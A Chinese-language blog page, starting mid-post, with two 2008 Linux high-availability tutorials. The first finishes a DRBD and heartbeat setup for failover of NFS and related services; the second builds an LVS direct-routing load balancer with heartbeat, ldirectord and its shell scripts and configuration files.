现在两台主机都是备机状态,都是”不一致”状态,这是由于DRBD无法判断哪一方为主机,以哪一方的磁盘数据作为标准数据。所以我们需要初始化,在manager上执行:

[root@manager /]#drbdsetup /dev/drbd0 primary –o

现在数据开始同步,可以用cat /proc/drbd查看数据同步的进度
等数据同步完查看DRBD的状态

[root@manager /]# cat /proc/drbd
version: 8.2.1 (api:86/proto:86-87)
GIT-hash: 318925802fc2638479ad090b73d7af45503dd184 build by root@manager, 2007-12-05 16:40:14
0: cs:Connected st Primary/Secondary ds:UpToDate/UpToDate C r---
    ns:1514 nr:1110 dw:2616 dr:2259 al:0 bm:482 lo:0 pe:0 ua:0 ap:0
        resync: used:0/31 hits:2 misses:2 starving:0 dirty:0 changed:2
        act_log: used:0/257 hits:202 misses:0 starving:0 dirty:0 changed:0
磁盘状态都是”实时”,表示数据同步完成了。

[root@manager /]# mkfs.xfs /dev/drbd0

现在可以把manager上的DRBD设备挂载到/export目录上进行使用。备机的DRBD设备无法被挂载,因为它是用来接收主机数据的,由DRBD负责操作。

[root@manager /]# mount /dev/drbd0 /export
[root@manager /]# df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sda1             10229696   3019636   7210060  30% /
/dev/drbd0           104806400   3046752 101759648   3% /export

现在把之前备份的/export中的所有内容再恢复回去。
如果不使用heartbeat的情况下,DRBD只能手工切换主从关系
现在修改heartbeat的配置文件,使DRBD可以通过heartbeat自动切换

[root@manager /]# vi /etc/ha.d/haresources
manager 192.168.0.3 drbddisk::r0 Filesystem::/dev/drbd0::/export::xfs  dhcpd xinetd portmap nfs

注释:上面那行
manager                                              定义manager为heartbeat的主机
192.168.0.3                                         定义对外服务的IP地址,这个IP自动在主从机之间切换
drbddisk::r0                                         定义使用的drbd资源
Filesystem::/dev/drbd0::/export::xfs     定义挂载文件系统
dhcpd xinetd portmap nfs                    定义其他需要切换的服务(用空格隔开)

现在我们可以测试一下了

(dhcpd portmap nfs等需要切换的服务,应该先在两台服务器上都配置好)

[root@manager root]# chkconfig –list

确定heartbeat和DRBD开机自启动
确定需要由heartbeat切换的服务,开机不自启动(由heartbeat来启用相关的服务)
给gg1接通电源,通过pxe启动系统(gg1是一组服务器中的一台,是一台无盘服务器,启动后挂载在manager上保存的系统)
在manager上ssh gg1

[root@manager root]# ssh gg1
-bash-2.05b#
-bash-2.05b# arp -a
? (192.168.0.3) at 00:19:B9:E4:7D:22 [ether] on eth0
-bash-2.05b# ls
-bash-2.05b# touch test
-bash-2.05b# ls
test

现在在manager上关机或停止heartbeat服务
[root@manager root]# /etc/init.d/heartbeat stop
Stopping High-Availability services:                                                            [  OK  ]

到manager_bak上ifconfig
[root@manager_bak root]# ifconfig
可以看到eth1:0起来了,IP地址是192.168.0.3

[root@manager_bak root]# ssh gg1
-bash-2.05b#
-bash-2.05b# arp -a
? (192.168.0.3) at 00:19:B9:E5:3B:FC [ether] on eth0 (可以看到192.168.0.3的mac地址变了)
-bash-2.05b# ls
test

可以看到在manager上ssh上gg1后建立的test文件
-bash-2.05b# echo "this is test" > test
-bash-2.05b# cat test
this is test

可以看到现在gg1可以正常读写manager_bak上nfs出来的磁盘
现在把manager上的heartbeat服务启动起来

[root@manager root]# /etc/init.d/heartbeat start
Starting High-Availability services:
2007/12/06_12:46:08 INFO:  Resource is stopped                                                   [  OK  ]
-bash-2.05b# cat test
this is test

现在终于大功告成了,之前在不使用drbd的情况下,heartbeat也可以切换apache、dhcpd、portmap、nfs等等服务,但是 nfs服务切换后,必须重新mount一下nfs共享出来的目录,否则会报 Stale NFS file handle 的错误。现在heartbeat+drbd配合使用后,nfs等等服务可以无缝切换,不必再重新mount一下nfs目录了

Posted by vitter at 2008-04-08 14:47:26 | 评论 (0) | 引用

lvs+heard负载均衡文档(DR)

blog:http://blog.vfocus.net

测试环境:
硬件 两台dell1950 (单硬盘)
系统 FC7
软件 ipvsadm-1.24 heartbeat-2.1.2
说明 一台172.16.3.75 (lvsdr)作为主director服务器
     172.16.3.73 (lvsdrbak)作为热备director服务器
     虚拟ip为172.16.3.76
     采用基于DR的模式进行负载均衡

算法采用的是轮叫调度(Round-Robin Scheduling) 即ipvsadm –rr模式

注1:(本次测试为节约机器,将备份节点也作为一台realserver)
注2:算法模式一共有7种分别是
加权轮叫调度(Weighted Round-Robin Scheduling)
最小连接调度(Least-Connection Scheduling)
加权最小连接调度(Weighted Least-Connection Scheduling)
基于局部性的最少链接(Locality-Based Least Connections Scheduling)
带复制的基于局部性最少链接(Locality-Based Least Connections with Replication Scheduling)
目标地址散列调度(Destination Hashing Scheduling)
源地址散列调度(Source Hashing Scheduling)
只需要改变ipvsadm后面的参数
ipvsadm -rr 论叫调度
rr|wrr|lc|wlc|lblc|lblcr|dh|sh|sed|nq

一,配置基于隧道(DR)模式的LVS集群

所需软件 ipvsadm-1.24 http://www.linuxvirtualserver.org/software/
需要建立一个软链接把内核指向/usr/src/linux

ln -s /usr/src/kernels/2.6.9-42.EL-i686/ /usr/src/linux
tar zxvf ipvsadm-1.24.tar.gz
cd ipvsadm-1.2.4
make;make install

1)在lvsdr上部署(备份节点做完全一样的部署)

$ vi /etc/rc.d/init.d/lvsDR

#!/bin/bash
VIP=172.16.3.76
RIP1=172.16.3.73
RIP2=172.16.3.235
. /etc/rc.d/init.d/functions
case "$1" in
start)
echo "start LVS of DirectorServer"
#Set the Virtual IP Address
/sbin/ifconfig lo:0 $VIP broadcast $VIP netmask 255.255.255.255 up
/sbin/route add -host $VIP dev lo:0
#Clear IPVS Table
/sbin/ipvsadm -C
#Set Lvs
/sbin/ipvsadm -A -t $VIP:80 -s rr
/sbin/ipvsadm -a -t $VIP:80 -r $RIP1:80 -g
/sbin/ipvsadm -a -t $VIP:80 -r $RIP2:80 -g
#Run Lvs
/sbin/ipvsadm
#end
;;
stop)
echo "close LVS Directorserver"
/sbin/ipvsadm -C
;;
*)
echo "Usage: $0 {start|stop}"
exit 1
esac

2)在realserver上部署

$ vi /etc/rc.d/init.d/realserverDR

#!/bin/sh
VIP=172.16.3.76
/sbin/ifconfig lo:0 $VIP broadcast $VIP netmask 255.255.255.255 up
/sbin/route add -host $VIP dev lo:0
echo "1" > /proc/sys/net/ipv4/conf/lo/arp_ignore
echo "2" > /proc/sys/net/ipv4/conf/lo/arp_announce
echo "1" > /proc/sys/net/ipv4/conf/all/arp_ignore
echo "2" > /proc/sys/net/ipv4/conf/all/arp_announce
sysctl -p
~

二,安装heartbeat

所需软件
e2fsprogs-1.40.4.cfs1-0redhat.i386.rpm 光盘中有
libnet http://www.packetfactory.net/libnet
heartbeat-2.1.2.tar.gz http://linux-ha.org/download/

安装软件
安装e2fsprogs

rpm -ivh e2fsprogs-1.35-7.1.i386.rpm

安装libnet

tar zxvf libnet.tar.gz
cd libnet
./configure
make;make install

安装heartbeat

tar zxvf heartbeat-2.0.2.tar.gz
cd heartbeat-2.0.2
./Configureme configure
make;make install
cp doc/ha.cf doc/haresources doc/authkeys /etc/ha.d/
cp ldirectord/ldirectord.cf /etc/ha.d/
groupadd -g 694 haclient
useradd -u 694 -g haclient hacluster

修改配置

重点三个配置文件
ha.cf haresources authkeys

1, ha.cf

[root@lvsdrbak src]# awk '/^[^$]/&&/^[^#]/' /etc/ha.d/ha.cf
debugfile /var/log/ha-debug
logfile /var/log/ha-log
logfacility local0
keepalive 2
deadtime 30
warntime 10
initdead 120
udpport 694
bcast eth0 # Linux
auto_failback on
node lvsdr
node lvsdrbak
hopfudge 1

2, haresources

这个文件其实就只有一行
lvsdr IPaddr::172.16.3.76 ldirectord lvsDR

3, authkeys

auth 1
1 sha1 key-for-sha1-any-text-you-want
chmod -R 600 autykeys 权限必须是600

以上三个文件 主从服务器上一致

修改hosts

$ vi /etc/hosts

127.0.0.1 localhost.localdomain localhost
172.16.3.75 lvsdr
10.1.1.3 HA01
10.1.1.2 HA02
172.16.3.73 lvsdrbak

其中10.1.1.3与10.1.1.2是在eth0上绑的另外ip作为检测heartbeat用

三,配置ldirectord

Ldirectord的作用是监测Real Server,当Real Server失效时,把它从Load Balancer列表中删除,恢复时重新添加,在安装heartbeat时已经安装了Ldirectord。

但是在fc7中启动ldirectord会报缺少Mail/Send.pm或者LWP/useragant模块,需要安装perl模块

所需模块
lwp/useagant http://search.cpan.org/CPAN/authors/id/G/GA/GAAS/libwww-perl-5.808.tar.gz
mailsend http://search.cpan.org/CPAN/authors/id/M/MA/MARKOV/MailTools-2.02.tar.gz

生成makefile: 
perl Makefile.PL

建立模块 
make

测试模块 
make test

如果测试结果报告“all test ok”,您就可以放心地安装编译好的模块了。安装模块前,先要 
make install

配置 ldirectord 配置文件在/etc/ha.d/ldirectord.cf

[root@lvsdr lvs]# awk '/^[^$]/&&/^[^#]/' /etc/ha.d/ldirectord.cf

checktimeout=3
checkinterval=1
autoreload=yes
logfile="/var/log/ldirectord.log"
quiescent=yes
virtual=172.16.3.76:80

real=172.16.3.73:80 gate
real=172.16.3.235:80 gate
service=http
request="test.html"
receive="Test Page"
scheduler=rr
protocol=tcp
#checktype=negotiate
#checkport=80
#request="index.html"
#receive="Test Page"
#virtualhost=www.x.y.z测试 ldirectord是否可以起来

现在可以在主节点172.16.3.75启动heartbeat

/etc/init.d/heartbeat start

起来正常的结果应该是这样

[root@lvsdr src]# netstat -npl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 :::22 :::* LISTEN 2095/sshd
udp 0 0 0.0.0.0:32784 0.0.0.0:* 28530/heartbeat: wr
udp 0 0 0.0.0.0:694 0.0.0.0:* 28530/heartbeat: wr

[root@lvsdr src]# ifconfig
eth0   Link encap:Ethernet HWaddr 00:15:C5:EF:E0:D9
       inet addr:172.16.3.75 Bcast:172.16.3.255 Mask:255.255.255.0
       inet6 addr: fe80::215:c5ff:feef:e0d9/64 Scope:Link
       UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
       RX packets:58138 errors:0 dropped:0 overruns:0 frame:0
       TX packets:17891 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:8955674 (8.5 MiB) TX bytes:3217775 (3.0 MiB)
       Interrupt:16 Memory:f8000000-f8012100

eth0:0 Link encap:Ethernet HWaddr 00:15:C5:EF:E0:D9
       inet addr:172.16.3.76 Bcast:172.16.3.255 Mask:255.255.255.0
       UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
       Interrupt:16 Memory:f8000000-f8012100

eth0:1 Link encap:Ethernet HWaddr 00:15:C5:EF:E0:D9
       inet addr:10.1.1.3 Bcast:10.1.1.255 Mask:255.255.255.0
       UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
       Interrupt:16 Memory:f8000000-f8012100

lo     Link encap:Local Loopback
       inet addr:127.0.0.1 Mask:255.0.0.0
       inet6 addr: ::1/128 Scope:Host
       UP LOOPBACK RUNNING MTU:16436 Metric:1
       RX packets:2493 errors:0 dropped:0 overruns:0 frame:0
       TX packets:2493 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:0
       RX bytes:1339237 (1.2 MiB) TX bytes:1339237 (1.2 MiB)

tunl0  Link encap:IPIP Tunnel HWaddr
       inet addr:172.16.3.76 Mask:255.255.255.255
       UP RUNNING NOARP MTU:1480 Metric:1
       RX packets:0 errors:0 dropped:0 overruns:0 frame:0
       TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:0
       RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

测试:关闭主节点,备份节点将自动接管directorserver服务。

四,把备份节点也作为realserver

1. 在上述DR节点做的以外,备份节点还需要也添加realserver脚本

另外需要添加关闭备用节点的脚本

[root@lvsdr lvs]# vi /etc/rc.d/init.d/closeDR
VIP=172.16.3.76
. /etc/rc.d/init.d/functions
case "$1" in
    start)
        echo "start director server and close dr"
        ifconfig lo:0 down
        echo 1 > /proc/sys/net/ipv4/ip_forward
        echo 0 > /proc/sys/net/ipv4/conf/all/arp_announce
        ;;
    stop)
        echo "start Real Server"
        ifconfig lo:0 $VIP netmask 255.255.255.255 broadcast $VIP up
        /sbin/route add -host $VIP dev lo:0
        echo "1" >/proc/sys/net/ipv4/conf/lo/arp_ignore
        echo "2" >/proc/sys/net/ipv4/conf/lo/arp_announce
        echo "1" >/proc/sys/net/ipv4/conf/all/arp_ignore
        echo "2" >/proc/sys/net/ipv4/conf/all/arp_announce
        sysctl –p

        ;;
    *)
        echo "Usage: lvs {start|stop}"
        exit 1
esac

这个一个关闭备份节点的脚本,可以放到heartbeat里面去,在启动备用节点的时候自动关闭备份节点脚本

2, 修改备份节点的haresources

只需添加一项

[root@lvsdrbak lvs]# awk '/^[^$]/&&/^[^#]/' /etc/ha.d/haresources
lvsdr closedr IPaddr::172.16.3.76 ldirectord lvsDR

确定closedr脚本在 启动lvsDR之前就可以了。

五,测试

director服务器是 172.16.3.75
热备机是172.16.3.73
虚拟ip是172.16.3.76
realserver为 172.16.3.73 172.16.3.235
在主DR上启动服务

/etc/rc.d/init.d/heartbeat start

在ie里面输入http://172.16.3.76可以得到这两个页面
172.16.3.235下面有个index1.html 显示172.16.3.235
172.16.3.73下面有个index2.html 显示172.16.3.73
可以通过http://172.16.3.76/index1.html
http://172.16.3.76/index2.html

访问

拔掉172.16.3.75的网线,服务器切到172.16.3.73上。也能正常显示。

Posted by vitter at 2008-04-08 11:26:26 | 评论 (0) | 引用